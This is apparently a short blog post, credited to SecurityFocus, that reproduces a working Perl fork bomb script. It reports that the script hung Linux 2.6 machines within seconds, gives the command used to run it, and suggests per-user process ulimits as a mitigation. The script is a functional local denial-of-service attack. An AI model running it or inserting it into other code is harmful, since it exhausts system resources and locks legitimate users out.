<s>spoon</s>fork bomb your linux box

Source: SecurityFocus. Anyways here's an old script that I found on the Net - I dunno who's the author.

#!/usr/bin/perl
my $strength = $ARGV[0] + 1;

while (not fork) {
        exit unless --$strength;
        print 0;
        twist: while (fork) {
                        exit unless --$strength;
                        print 1;
                }
        }
goto 'twist' if --$strength;

On my Gentoo box, kernel 2.6.10, it takes a mere 5 seconds for the box to die when I fork bomb it as root. When running the script as normal user, it takes around 20 - 30 seconds before the box hang. I run it as perl fork.pl 1000. Another box, with kernel 2.6.11.2 also suffers the same fate. I can't log in to it while the fork bomb was running. This is bad, really bad.

Anyways - setting a ulimit on processes for users may solve the problem. However, I have no idea why the protection against this is not built into the kernel itself.